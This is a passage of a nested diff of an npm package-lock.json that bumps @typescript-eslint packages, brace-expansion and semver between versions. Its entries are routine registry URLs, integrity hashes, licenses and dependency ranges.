 -        "semver": "bin/semver.js"
-+        "node": ">=18.12"
-       },
+-      },
 -      "engines": {
 -        "node": ">=10"
-+      "peerDependencies": {
-+        "typescript": ">=4.8.4"
-       }
-     },
+-      }
+-    },
 -    "node_modules/@typescript-eslint/eslint-plugin/node_modules/yallist": {
 -      "version": "4.0.0",
 -      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
@@ -128,281 +107,93 @@ index be143b7..6e8b0b4 100644
 -      "dev": true
 -    },
      "node_modules/@typescript-eslint/parser": {
--      "version": "8.31.0",
--      "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.31.0.tgz",
--      "integrity": "sha512-67kYYShjBR0jNI5vsf/c3WG4u+zDnCTHTPqVMQguffaWWFs7artgwKmfwdifl+r6XyM5LYLas/dInj2T0SgJyw==",
-+      "version": "8.31.1",
-+      "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.31.1.tgz",
-+      "integrity": "sha512-oU/OtYVydhXnumd0BobL9rkJg7wFJ9bFFPmSmB/bf/XWN85hlViji59ko6bSKBXyseT9V8l+CN1nwmlbiN0G7Q==",
-       "dev": true,
-       "license": "MIT",
-       "dependencies": {
--        "@typescript-eslint/scope-manager": "8.31.0",
--        "@typescript-eslint/types": "8.31.0",
--        "@typescript-eslint/typescript-estree": "8.31.0",
--        "@typescript-eslint/visitor-keys": "8.31.0",
-+        "@typescript-eslint/scope-manager": "8.31.1",
-+        "@typescript-eslint/types": "8.31.1",
-+        "@typescript-eslint/typescript-estree": "8.31.1",
-+        "@typescript-eslint/visitor-keys": "8.31.1",
-         "debug": "^4.3.4"
-       },
-       "engines": {
-@@ -3131,15 +3102,15 @@
-         "typescript": ">=4.8.4 <5.9.0"
+       "version": "8.32.1",
+       "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.32.1.tgz",
+@@ -3275,13 +3202,14 @@
        }
      },
--    "node_modules/@typescript-eslint/parser/node_modules/@typescript-eslint/scope-manager": {
--      "version": "8.31.0",
--      "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.31.0.tgz",
--      "integrity": "sha512-knO8UyF78Nt8O/B64i7TlGXod69ko7z6vJD9uhSlm0qkAbGeRUSudcm0+K/4CrRjrpiHfBCjMWlc08Vav1xwcw==",
-+    "node_modules/@typescript-eslint/scope-manager": {
-+      "version": "8.31.1",
-+      "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.31.1.tgz",
-+      "integrity": "sha512-BMNLOElPxrtNQMIsFHE+3P0Yf1z0dJqV9zLdDxN/xLlWMlXK/ApEsVEKzpizg9oal8bAT5Sc7+ocal7AC1HCVw==",
-       "dev": true,
-       "license": "MIT",
-       "dependencies": {
--        "@typescript-eslint/types": "8.31.0",
--        "@typescript-eslint/visitor-keys": "8.31.0"
-+        "@typescript-eslint/types": "8.31.1",
-+        "@typescript-eslint/visitor-keys": "8.31.1"
-       },
-       "engines": {
-         "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
-@@ -3149,34 +3120,16 @@
-         "url": "https://opencollective.com/typescript-eslint"
-       }
-     },
--    "node_modules/@typescript-eslint/parser/node_modules/@typescript-eslint/types": {
--      "version": "8.31.0",
--      "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.31.0.tgz",
--      "integrity": "sha512-Ch8oSjVyYyJxPQk8pMiP2FFGYatqXQfQIaMp+TpuuLlDachRWpUAeEu1u9B/v/8LToehUIWyiKcA/w5hUFRKuQ==",
--      "dev": true,
--      "license": "MIT",
--      "engines": {
--        "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
--      },
--      "funding": {
--        "type": "opencollective",
--        "url": "https://opencollective.com/typescript-eslint"
--      }
--    },
--    "node_modules/@typescript-eslint/parser/node_modules/@typescript-eslint/typescript-estree": {
--      "version": "8.31.0",
--      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.31.0.tgz",
--      "integrity": "sha512-xLmgn4Yl46xi6aDSZ9KkyfhhtnYI15/CvHbpOy/eR5NWhK/BK8wc709KKwhAR0m4ZKRP7h07bm4BWUYOCuRpQQ==",
-+    "node_modules/@typescript-eslint/type-utils": {
-+      "version": "8.31.1",
-+      "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.31.1.tgz",
-+      "integrity": "sha512-fNaT/m9n0+dpSp8G/iOQ05GoHYXbxw81x+yvr7TArTuZuCA6VVKbqWYVZrV5dVagpDTtj/O8k5HBEE/p/HM5LA==",
-       "dev": true,
-       "license": "MIT",
-       "dependencies": {
--        "@typescript-eslint/types": "8.31.0",
--        "@typescript-eslint/visitor-keys": "8.31.0",
-+        "@typescript-eslint/typescript-estree": "8.31.1",
-+        "@typescript-eslint/utils": "8.31.1",
-         "debug": "^4.3.4",
--        "fast-glob": "^3.3.2",
--        "is-glob": "^4.0.3",
--        "minimatch": "^9.0.4",
--        "semver": "^7.6.0",
-         "ts-api-utils": "^2.0.1"
-       },
-       "engines": {
-@@ -3187,80 +3140,11 @@
-         "url": "https://opencollective.com/typescript-eslint"
-       },
-       "peerDependencies": {
-+        "eslint": "^8.57.0 || ^9.0.0",
-         "typescript": ">=4.8.4 <5.9.0"
-       }
-     },
--    "node_modules/@typescript-eslint/parser/node_modules/@typescript-eslint/visitor-keys": {
--      "version": "8.31.0",
--      "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.31.0.tgz",
--      "integrity": "sha512-QcGHmlRHWOl93o64ZUMNewCdwKGU6WItOU52H0djgNmn1EOrhVudrDzXz4OycCRSCPwFCDrE2iIt5vmuUdHxuQ==",
--      "dev": true,
--      "license": "MIT",
--      "dependencies": {
--        "@typescript-eslint/types": "8.31.0",
--        "eslint-visitor-keys": "^4.2.0"
--      },
--      "engines": {
--        "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
--      },
--      "funding": {
--        "type": "opencollective",
--        "url": "https://opencollective.com/typescript-eslint"
--      }
--    },
--    "node_modules/@typescript-eslint/parser/node_modules/brace-expansion": {
--      "version": "2.0.1",
--      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
--      "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
--      "dev": true,
--      "license": "MIT",
--      "dependencies": {
--        "balanced-match": "^1.0.0"
--      }
--    },
--    "node_modules/@typescript-eslint/parser/node_modules/eslint-visitor-keys": {
--      "version": "4.2.0",
--      "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.0.tgz",
--      "integrity": "sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw==",
--      "dev": true,
--      "license": "Apache-2.0",
--      "engines": {
--        "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
--      },
--      "funding": {
--        "url": "https://opencollective.com/eslint"
--      }
--    },
--    "node_modules/@typescript-eslint/parser/node_modules/minimatch": {
--      "version": "9.0.5",
--      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
--      "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
--      "dev": true,
--      "license": "ISC",
--      "dependencies": {
--        "brace-expansion": "^2.0.1"
--      },
--      "engines": {
--        "node": ">=16 || 14 >=14.17"
--      },
--      "funding": {
--        "url": "https://github.com/sponsors/isaacs"
--      }
--    },
--    "node_modules/@typescript-eslint/parser/node_modules/semver": {
--      "version": "7.7.1",
--      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.1.tgz",
--      "integrity": "sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==",
--      "dev": true,
--      "license": "ISC",
--      "bin": {
--        "semver": "bin/semver.js"
--      },
--      "engines": {
--        "node": ">=10"
--      }
--    },
--    "node_modules/@typescript-eslint/parser/node_modules/ts-api-utils": {
-+    "node_modules/@typescript-eslint/type-utils/node_modules/ts-api-utils": {
-       "version": "2.1.0",
-       "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz",
-       "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==",
-@@ -3273,57 +3157,14 @@
-         "typescript": ">=4.8.4"
-       }
-     },
--    "node_modules/@typescript-eslint/scope-manager": {
+     "node_modules/@typescript-eslint/scope-manager": {
 -      "version": "7.6.0",
 -      "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-7.6.0.tgz",
 -      "integrity": "sha512-ngttyfExA5PsHSx0rdFgnADMYQi+Zkeiv4/ZxGYUWd0nLs63Ha0ksmp8VMxAIC0wtCFxMos7Lt3PszJssG/E6w==",
--      "dev": true,
--      "dependencies": {
++      "version": "7.18.0",
++      "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-7.18.0.tgz",
++      "integrity": "sha512-jjhdIE/FPF2B7Z1uzc6i3oWKbGcHb87Qw7AWj6jmEqNOfDFbJWtjt/XfwCpvNkpGWlcJaog5vTR+VV8+w9JflA==",
+       "dev": true,
++      "license": "MIT",
+       "dependencies": {
 -        "@typescript-eslint/types": "7.6.0",
 -        "@typescript-eslint/visitor-keys": "7.6.0"
--      },
--      "engines": {
--        "node": "^18.18.0 || >=20.0.0"
--      },
--      "funding": {
--        "type": "opencollective",
--        "url": "https://opencollective.com/typescript-eslint"
--      }
--    },
--    "node_modules/@typescript-eslint/type-utils": {
++        "@typescript-eslint/types": "7.18.0",
++        "@typescript-eslint/visitor-keys": "7.18.0"
+       },
+       "engines": {
+         "node": "^18.18.0 || >=20.0.0"
+@@ -3292,13 +3220,14 @@
+       }
+     },
+     "node_modules/@typescript-eslint/type-utils": {
 -      "version": "7.6.0",
 -      "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-7.6.0.tgz",
 -      "integrity": "sha512-NxAfqAPNLG6LTmy7uZgpK8KcuiS2NZD/HlThPXQRGwz6u7MDBWRVliEEl1Gj6U7++kVJTpehkhZzCJLMK66Scw==",
--      "dev": true,
--      "dependencies": {
++      "version": "7.18.0",
++      "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-7.18.0.tgz",
++      "integrity": "sha512-XL0FJXuCLaDuX2sYqZUUSOJ2sG5/i1AAze+axqmLnSkNEVMVYLF+cbwlB2w8D1tinFuSikHmFta+P+HOofrLeA==",
+       "dev": true,
++      "license": "MIT",
+       "dependencies": {
 -        "@typescript-eslint/typescript-estree": "7.6.0",
 -        "@typescript-eslint/utils": "7.6.0",
--        "debug": "^4.3.4",
--        "ts-api-utils": "^1.3.0"
--      },
--      "engines": {
--        "node": "^18.18.0 || >=20.0.0"
--      },
--      "funding": {
--        "type": "opencollective",
--        "url": "https://opencollective.com/typescript-eslint"
--      },
--      "peerDependencies": {
--        "eslint": "^8.56.0"
--      },
--      "peerDependenciesMeta": {
--        "typescript": {
--          "optional": true
--        }
--      }
--    },
++        "@typescript-eslint/typescript-estree": "7.18.0",
++        "@typescript-eslint/utils": "7.18.0",
+         "debug": "^4.3.4",
+         "ts-api-utils": "^1.3.0"
+       },
+@@ -3319,10 +3248,11 @@
+       }
+     },
      "node_modules/@typescript-eslint/types": {
 -      "version": "7.6.0",
 -      "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-7.6.0.tgz",
 -      "integrity": "sha512-h02rYQn8J+MureCvHVVzhl69/GAfQGPQZmOMjG1KfCl7o3HtMSlPaPUAPu6lLctXI5ySRGIYk94clD/AUMCUgQ==",
-+      "version": "8.31.1",
-+      "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.31.1.tgz",
-+      "integrity": "sha512-SfepaEFUDQYRoA70DD9GtytljBePSj17qPxFHA/h3eg6lPTqGJ5mWOtbXCk1YrVU1cTJRd14nhaXWFu0l2troQ==",
++      "version": "7.18.0",
++      "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-7.18.0.tgz",
++      "integrity": "sha512-iZqi+Ds1y4EDYUtlOOC+aUmxnE9xS/yCigkjA7XpTKV6nCBd3Hp/PRGGmdwnfkV2ThMyYldP1wRpm/id99spTQ==",
        "dev": true,
 +      "license": "MIT",
        "engines": {
--        "node": "^18.18.0 || >=20.0.0"
-+        "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
+         "node": "^18.18.0 || >=20.0.0"
        },
-       "funding": {
-         "type": "opencollective",
-@@ -3331,31 +3172,30 @@
+@@ -3332,13 +3262,14 @@
        }
      },
      "node_modules/@typescript-eslint/typescript-estree": {
 -      "version": "7.6.0",
 -      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-7.6.0.tgz",
 -      "integrity": "sha512-+7Y/GP9VuYibecrCQWSKgl3GvUM5cILRttpWtnAu8GNL9j11e4tbuGZmZjJ8ejnKYyBRb2ddGQ3rEFCq3QjMJw==",
-+      "version": "8.31.1",
-+      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.31.1.tgz",
-+      "integrity": "sha512-kaA0ueLe2v7KunYOyWYtlf/QhhZb7+qh4Yw6Ni5kgukMIG+iP773tjgBiLWIXYumWCwEq3nLW+TUywEp8uEeag==",
++      "version": "7.18.0",
++      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-7.18.0.tgz",
++      "integrity": "sha512-aP1v/BSPnnyhMHts8cf1qQ6Q1IFwwRvAQGRvBFkWlo3/lH29OXA3Pts+c10nxRxIBrDnoMqzhgdwVe5f2D6OzA==",
        "dev": true,
-+      "license": "MIT",
++      "license": "BSD-2-Clause",
        "dependencies": {
 -        "@typescript-eslint/types": "7.6.0",
 -        "@typescript-eslint/visitor-keys": "7.6.0",
-+        "@typescript-eslint/types": "8.31.1",
-+        "@typescript-eslint/visitor-keys": "8.31.1",
++        "@typescript-eslint/types": "7.18.0",
++        "@typescript-eslint/visitor-keys": "7.18.0",
          "debug": "^4.3.4",
--        "globby": "^11.1.0",
-+        "fast-glob": "^3.3.2",
+         "globby": "^11.1.0",
          "is-glob": "^4.0.3",
-         "minimatch": "^9.0.4",
-         "semver": "^7.6.0",
--        "ts-api-utils": "^1.3.0"
-+        "ts-api-utils": "^2.0.1"
-       },
-       "engines": {
--        "node": "^18.18.0 || >=20.0.0"
-+        "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
-       },
-       "funding": {
-         "type": "opencollective",
-         "url": "https://opencollective.com/typescript-eslint"
-       },
--      "peerDependenciesMeta": {
--        "typescript": {
--          "optional": true
--        }
-+      "peerDependencies": {
-+        "typescript": ">=4.8.4 <5.9.0"
+@@ -3360,31 +3291,21 @@
        }
      },
      "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": {
-@@ -3363,27 +3203,17 @@
-       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
-       "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
+-      "version": "2.0.1",
+-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
+-      "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
++      "version": "2.0.2",
++      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
++      "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
        "dev": true,
 +      "license": "MIT",
        "dependencies": {
@@ -433,16 +224,16 @@ index be143b7..6e8b0b4 100644
        "dependencies": {
          "brace-expansion": "^2.0.1"
        },
-@@ -3395,13 +3225,11 @@
+@@ -3396,13 +3317,11 @@
        }
      },
      "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": {
 -      "version": "7.6.0",
 -      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
 -      "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
-+      "version": "7.7.1",
-+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.1.tgz",
-+      "integrity": "sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==",
++      "version": "7.7.2",
++      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
++      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
        "dev": true,
 -      "dependencies": {
 -        "lru-cache": "^6.0.0"
@@ -451,7 +242,7 @@ index be143b7..6e8b0b4 100644
        "bin": {
          "semver": "bin/semver.js"
        },
-@@ -3409,85 +3237,72 @@
+@@ -3410,25 +3329,17 @@
          "node": ">=10"
        }
      },
@@ -460,26 +251,14 @@ index be143b7..6e8b0b4 100644
 -      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
 -      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
 -      "dev": true
-+    "node_modules/@typescript-eslint/typescript-estree/node_modules/ts-api-utils": {
-+      "version": "2.1.0",
-+      "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz",
-+      "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==",
-+      "dev": true,
-+      "license": "MIT",
-+      "engines": {
-+        "node": ">=18.12"
-+      },
-+      "peerDependencies": {
-+        "typescript": ">=4.8.4"
-+      }
-     },
+-    },
      "node_modules/@typescript-eslint/utils": {
 -      "version": "7.6.0",
 -      "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-7.6.0.tgz",
 -      "integrity": "sha512-x54gaSsRRI+Nwz59TXpCsr6harB98qjXYzsRxGqvA5Ue3kQH+FxS7FYU81g/omn22ML2pZJkisy6Q+ElK8pBCA==",
-+      "version": "8.31.1",
-+      "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.31.1.tgz",
-+      "integrity": "sha512-2DSI4SNfF5T4oRveQ4nUrSjUqjMND0nLq9rEkz0gfGr3tg0S5KB6DhwR+WZPCjzkZl3cH+4x2ce3EsL50FubjQ==",
++      "version": "7.18.0",
++      "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-7.18.0.tgz",
++      "integrity": "sha512-kK0/rNa2j74XuHVcoCZxdFBMF+aq/vH83CXAOHieC+2Gis4mF8jJXT5eAfyD3K0sAxtPuwxaIOIOvhwzVDt/kw==",
        "dev": true,
 +      "license": "MIT",
        "dependencies": {
@@ -490,40 +269,25 @@ index be143b7..6e8b0b4 100644
 -        "@typescript-eslint/types": "7.6.0",
 -        "@typescript-eslint/typescript-estree": "7.6.0",
 -        "semver": "^7.6.0"
-+        "@typescript-eslint/scope-manager": "8.31.1",
-+        "@typescript-eslint/types": "8.31.1",
-+        "@typescript-eslint/typescript-estree": "8.31.1"
++        "@typescript-eslint/scope-manager": "7.18.0",
++        "@typescript-eslint/types": "7.18.0",
++        "@typescript-eslint/typescript-estree": "7.18.0"
        },
        "engines": {
--        "node": "^18.18.0 || >=20.0.0"
-+        "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
-       },
-       "funding": {
-         "type": "opencollective",
-         "url": "https://opencollective.com/typescript-eslint"
-       },
-       "peerDependencies": {
--        "eslint": "^8.56.0"
-+        "eslint": "^8.57.0 || ^9.0.0",
-+        "typescript": ">=4.8.4 <5.9.0"
+         "node": "^18.18.0 || >=20.0.0"
+@@ -3441,46 +3352,14 @@
+         "eslint": "^8.56.0"
        }
      },
 -    "node_modules/@typescript-eslint/utils/node_modules/lru-cache": {
 -      "version": "6.0.0",
 -      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
 -      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-+    "node_modules/@typescript-eslint/visitor-keys": {
-+      "version": "8.31.1",
-+      "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.31.1.tgz",
-+      "integrity": "sha512-I+/rgqOVBn6f0o7NDTmAPWWC6NuqhV174lfYvAm9fUaWeiefLdux9/YI3/nLugEn9L8fcSi0XmpKi/r5u0nmpw==",
-       "dev": true,
-+      "license": "MIT",
-       "dependencies": {
+-      "dev": true,
+-      "dependencies": {
 -        "yallist": "^4.0.0"
-+        "@typescript-eslint/types": "8.31.1",
-+        "eslint-visitor-keys": "^4.2.0"
-       },
-       "engines": {
+-      },
+-      "engines": {
 -        "node": ">=10"
 -      }
 -    },
@@ -537,47 +301,33 @@ index be143b7..6e8b0b4 100644
 -      },
 -      "bin": {
 -        "semver": "bin/semver.js"
-+        "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
-       },
+-      },
 -      "engines": {
 -        "node": ">=10"
-+      "funding": {
-+        "type": "opencollective",
-+        "url": "https://opencollective.com/typescript-eslint"
-       }
-     },
+-      }
+-    },
 -    "node_modules/@typescript-eslint/utils/node_modules/yallist": {
 -      "version": "4.0.0",
 -      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
 -      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
 -      "dev": true
 -    },
--    "node_modules/@typescript-eslint/visitor-keys": {
+     "node_modules/@typescript-eslint/visitor-keys": {
 -      "version": "7.6.0",
 -      "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-7.6.0.tgz",
 -      "integrity": "sha512-4eLB7t+LlNUmXzfOu1VAIAdkjbu5xNSerURS9X/S5TUKWFRpXRQZbmtPqgKmYx8bj3J0irtQXSiWAOY82v+cgw==",
-+    "node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": {
-+      "version": "4.2.0",
-+      "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.0.tgz",
-+      "integrity": "sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw==",
++      "version": "7.18.0",
++      "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-7.18.0.tgz",
++      "integrity": "sha512-cDF0/Gf81QpY3xYyJKDV14Zwdmid5+uuENhjH2EqFaF0ni+yAyq/LzMaIJdhNJXZI7uLzwIlA+V7oWoyn6Curg==",
        "dev": true,
--      "dependencies": {
++      "license": "MIT",
+       "dependencies": {
 -        "@typescript-eslint/types": "7.6.0",
--        "eslint-visitor-keys": "^3.4.3"
--      },
-+      "license": "Apache-2.0",
-       "engines": {
--        "node": "^18.18.0 || >=20.0.0"
-+        "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
++        "@typescript-eslint/types": "7.18.0",
+         "eslint-visitor-keys": "^3.4.3"
        },
-       "funding": {
--        "type": "opencollective",
--        "url": "https://opencollective.com/typescript-eslint"
-+        "url": "https://opencollective.com/eslint"
-       }
-     },
-     "node_modules/@ungap/structured-clone": {
-@@ -3591,6 +3406,40 @@
+       "engines": {
+@@ -3592,6 +3471,40 @@
          }
        }
      },
@@ -618,82 +368,141 @@ index be143b7..6e8b0b4 100644
      "node_modules/@vue/eslint-config-typescript/node_modules/@typescript-eslint/parser": {
        "version": "7.18.0",
        "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-7.18.0.tgz",
-@@ -3638,6 +3487,34 @@
-         "url": "https://opencollective.com/typescript-eslint"
-       }
-     },
-+    "node_modules/@vue/eslint-config-typescript/node_modules/@typescript-eslint/type-utils": {
-+      "version": "7.18.0",
-+      "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-7.18.0.tgz",
-+      "integrity": "sha512-XL0FJXuCLaDuX2sYqZUUSOJ2sG5/i1AAze+axqmLnSkNEVMVYLF+cbwlB2w8D1tinFuSikHmFta+P+HOofrLeA==",
-+      "dev": true,
-+      "license": "MIT",
-+      "dependencies": {
-+        "@typescript-eslint/typescript-estree": "7.18.0",
-+        "@typescript-eslint/utils": "7.18.0",
-+        "debug": "^4.3.4",
-+        "ts-api-utils": "^1.3.0"
-+      },
-+      "engines": {
-+        "node": "^18.18.0 || >=20.0.0"
-+      },
-+      "funding": {
-+        "type": "opencollective",
-+        "url": "https://opencollective.com/typescript-eslint"
-+      },
-+      "peerDependencies": {
-+        "eslint": "^8.56.0"
-+      },
-+      "peerDependenciesMeta": {
-+        "typescript": {
-+          "optional": true
-+        }
-+      }
-+    },
-     "node_modules/@vue/eslint-config-typescript/node_modules/@typescript-eslint/types": {
-       "version": "7.18.0",
-       "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-7.18.0.tgz",
-@@ -3681,6 +3558,29 @@
+@@ -3621,124 +3534,6 @@
          }
        }
      },
-+    "node_modules/@vue/eslint-config-typescript/node_modules/@typescript-eslint/utils": {
-+      "version": "7.18.0",
-+      "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-7.18.0.tgz",
-+      "integrity": "sha512-kK0/rNa2j74XuHVcoCZxdFBMF+aq/vH83CXAOHieC+2Gis4mF8jJXT5eAfyD3K0sAxtPuwxaIOIOvhwzVDt/kw==",
-+      "dev": true,
-+      "license": "MIT",
-+      "dependencies": {
-+        "@eslint-community/eslint-utils": "^4.4.0",
-+        "@typescript-eslint/scope-manager": "7.18.0",
-+        "@typescript-eslint/types": "7.18.0",
-+        "@typescript-eslint/typescript-estree": "7.18.0"
-+      },
-+      "engines": {
-+        "node": "^18.18.0 || >=20.0.0"
-+      },
-+      "funding": {
-+        "type": "opencollective",
-+        "url": "https://opencollective.com/typescript-eslint"
-+      },
-+      "peerDependencies": {
-+        "eslint": "^8.56.0"
-+      }
-+    },
-     "node_modules/@vue/eslint-config-typescript/node_modules/@typescript-eslint/visitor-keys": {
-       "version": "7.18.0",
-       "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-7.18.0.tgz",
+-    "node_modules/@vue/eslint-config-typescript/node_modules/@typescript-eslint/scope-manager": {
+-      "version": "7.18.0",
+-      "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-7.18.0.tgz",
+-      "integrity": "sha512-jjhdIE/FPF2B7Z1uzc6i3oWKbGcHb87Qw7AWj6jmEqNOfDFbJWtjt/XfwCpvNkpGWlcJaog5vTR+VV8+w9JflA==",
+-      "dev": true,
+-      "license": "MIT",
+-      "dependencies": {
+-        "@typescript-eslint/types": "7.18.0",
+-        "@typescript-eslint/visitor-keys": "7.18.0"
+-      },
+-      "engines": {
+-        "node": "^18.18.0 || >=20.0.0"
+-      },
+-      "funding": {
+-        "type": "opencollective",
+-        "url": "https://opencollective.com/typescript-eslint"
+-      }
+-    },
+-    "node_modules/@vue/eslint-config-typescript/node_modules/@typescript-eslint/types": {
+-      "version": "7.18.0",
+-      "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-7.18.0.tgz",
+-      "integrity": "sha512-iZqi+Ds1y4EDYUtlOOC+aUmxnE9xS/yCigkjA7XpTKV6nCBd3Hp/PRGGmdwnfkV2ThMyYldP1wRpm/id99spTQ==",
+-      "dev": true,
+-      "license": "MIT",
+-      "engines": {
+-        "node": "^18.18.0 || >=20.0.0"
+-      },
+-      "funding": {
+-        "type": "opencollective",
+-        "url": "https://opencollective.com/typescript-eslint"
+-      }
+-    },
+-    "node_modules/@vue/eslint-config-typescript/node_modules/@typescript-eslint/typescript-estree": {
+-      "version": "7.18.0",
+-      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-7.18.0.tgz",
+-      "integrity": "sha512-aP1v/BSPnnyhMHts8cf1qQ6Q1IFwwRvAQGRvBFkWlo3/lH29OXA3Pts+c10nxRxIBrDnoMqzhgdwVe5f2D6OzA==",
+-      "dev": true,
+-      "license": "BSD-2-Clause",
+-      "dependencies": {
+-        "@typescript-eslint/types": "7.18.0",
+-        "@typescript-eslint/visitor-keys": "7.18.0",
+-        "debug": "^4.3.4",
+-        "globby": "^11.1.0",
+-        "is-glob": "^4.0.3",
+-        "minimatch": "^9.0.4",
+-        "semver": "^7.6.0",
+-        "ts-api-utils": "^1.3.0"
+-      },
+-      "engines": {
